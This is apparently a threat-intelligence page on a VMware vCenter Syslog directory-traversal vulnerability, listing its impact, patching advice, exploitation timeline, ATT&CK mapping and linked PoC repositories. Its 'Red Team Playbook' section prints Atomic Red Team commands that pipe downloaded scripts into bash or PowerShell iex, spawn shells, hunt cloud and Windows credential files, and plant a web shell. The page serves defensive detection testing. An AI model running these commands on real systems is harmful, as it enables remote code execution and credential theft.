CVE-2026-59310

CRITICAL CISA KEV POC TTE 10d Pub 30/07 Upd 19/08

Overview

This vulnerability is a directory traversal flaw within the VMware vCenter Syslog server component of VMware Cloud Foundation. The root cause lies in insufficient validation of file path inputs, allowing crafted requests to access arbitrary filesystem locations. This improper sanitization enables manipulation of file paths processed by the Syslog server, exposing underlying system directories.

Vulnerability Description

VMware vCenter contains a directory traversal vulnerability in the Syslog server. A malicious actor with network access to vCenter may exploit this issue to execute arbitrary code.

Impact

An unauthenticated attacker with network access to the vCenter server can exploit this vulnerability to execute arbitrary code with system-level privileges. This enables full compromise of the affected VMware Cloud Foundation environment, including unauthorized access to sensitive data and control over virtual infrastructure. The exploit does not require user interaction or credentials, facilitating rapid lateral movement and potential disruption of cloud management operations.

Solution

VMware has released security advisory VMSA-2026-0001 addressing this issue in VMware Cloud Foundation. Users should apply the patches included in this advisory to affected vCenter versions immediately. Detailed patching instructions and version-specific fixes are available at the VMware security advisory portal: https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/38017. No workarounds are recommended; updating to the fixed versions is mandatory.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The directory traversal vulnerability in VMware vCenter's Syslog server presents a significant security risk due to its potential to allow unauthorized access to sensitive files and execution of arbitrary code. This vulnerability arises from inadequate input validation, enabling an attacker to manipulate file paths and access files outside the intended directory structure. By exploiting this flaw, a malicious actor can craft specially designed requests that traverse the directory hierarchy, thereby gaining access to critical system files or configuration data. The ability to execute arbitrary code further amplifies the severity of this vulnerability, as it can lead to full system compromise.

Attack vectors for this vulnerability are primarily network-based, targeting systems that have network access to the vCenter server. An attacker could leverage various methods, such as sending crafted requests through the Syslog interface, to exploit the directory traversal flaw. Once access is gained, the attacker can execute malicious payloads, potentially leading to unauthorized control over the vCenter server. Scenarios may include deploying malware, exfiltrating sensitive data, or manipulating virtual machine configurations. The exploitation of this vulnerability could be particularly damaging in environments where vCenter manages critical virtualized infrastructure, as it could disrupt operations and lead to significant downtime.

The real-world impact of this vulnerability is profound, especially for organizations relying on VMware vCenter for managing their virtual environments. The high CVSS score indicates a critical risk level, suggesting that successful exploitation could result in severe consequences, including data breaches, loss of data integrity, and operational disruptions. Businesses may face regulatory penalties, reputational damage, and financial losses due to the fallout from such an incident. The potential for attackers to gain control over virtual machines could also lead to further exploitation of interconnected systems, exacerbating the overall risk landscape.

To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching VMware vCenter installations is crucial, as vendors often release security updates to address known vulnerabilities. Additionally, organizations should employ intrusion detection and prevention systems (IDPS) to monitor network traffic for suspicious activities indicative of exploitation attempts. Implementing strict access controls and network segmentation can also help limit exposure to the Syslog server, reducing the attack surface. Regular security audits and vulnerability assessments should be conducted to identify and remediate potential weaknesses in the environment.

In conclusion, the directory traversal vulnerability in VMware vCenter's Syslog server poses a significant threat to organizations that utilize this platform for managing their virtualized environments. The potential for arbitrary code execution, combined with the ease of exploitation, underscores the urgency for organizations to prioritize security measures. By adopting proactive detection and mitigation strategies, businesses can safeguard their infrastructure against this and similar vulnerabilities, ensuring the integrity and availability of their critical systems.




CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2026-59310, accompanied by the emergence of new publicly available proof-of-concept exploit code. This development has broadened the exploit landscape, making it more accessible to a wider range of threat actors. Additionally, the vulnerability’s inclusion in the CISA KEV catalog underscores its prioritization at the federal level, signaling increased attention and likely accelerated exploitation efforts. Our telemetry indicates a significant upward trend in exploitation activity, reflected in a doubling of the EPSS score, which suggests growing attacker interest and capability. These changes elevate the threat level from high to critical, as the combination of expanded exploit availability and heightened detection frequency increases the likelihood of successful compromise in unpatched environments. Defenders should recognize that adversaries are rapidly adapting to leverage this vulnerability, amplifying the urgency for vigilant monitoring and response.

Affected Products (27)

Vendor Product Version CPE
vmware Vmware Vcenter Server All cpe:2.3:a:vmware:vcenter_server:*:*:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:-:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:a:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:b:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:c:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:update1:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:update1a:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:update1b:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:update1c:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:update1d:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:update1e:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:update2:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:update2a:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:update2b:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:update2c:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:update2d:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:update2e:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:update3:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:update3a:*:*:*:*:*:*
vmware Vmware Vcenter Server 8.0 cpe:2.3:a:vmware:vcenter_server:8.0:update3b:*:*:*:*:*:*
+7 additional CPEs
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (2)

Repository Author Stars Forks Date Link
HORKimhab/CVE-2026-59310
CVE-2026-59310
HORKimhab 0 0 2026-08-17 View
BiuTrap/CVE-2026-59310
CVE-2026-59310 PoC
BiuTrap 0 0 2026-08-17 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

27 events
2026-08-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-23
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-08-22
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-08-21
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-08-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-18
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-08-18
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2026-08-17
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-08-17
PoC Published (2 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2026-08-16
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-08-15
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-14
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-08-13
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-08-12
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-08-10
Detected as Exploited in the Wild

Active exploitation confirmed — vendor: Broadcom, product: VMware vCenter

2026-08-08
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-03
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-01
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-31
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-30
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-29
Threat Sensor Sighting — Some sightings

Sighting activity recorded

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Path Traversal
100% path_traversal
Remote Code Execution
30% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-126 Path Traversal
48%
High Very High
CAPEC-79 Using Slashes in Alternate Encoding
45%
High High
CAPEC-78 Using Escaped Slashes in Alternate Encoding
43%
High High
CAPEC-64 Using Slashes and URL Encoding Combined to Bypass Validation Logic
42%
High High
CAPEC-76 Manipulating Web Input to File System Calls
37%
High Very High

Red Team Playbook

44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (5)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-59310
support.broadcom.com
GitHub CVE
https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/38017
medium.com
NVD API Third Party Advisory
https://medium.com/@quirso_de/active-exploitation-of-cve-2026-59310-361-victim-ips-across-47-countries-9783187cc6ff
medium.com
NVD API Third Party Advisory
https://medium.com/@quirso_de/global-exploitation-of-cve-2026-59310-by-suspected-chinese-nexus-apt-related-cve-2026-59309-443a79e1466d
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-59310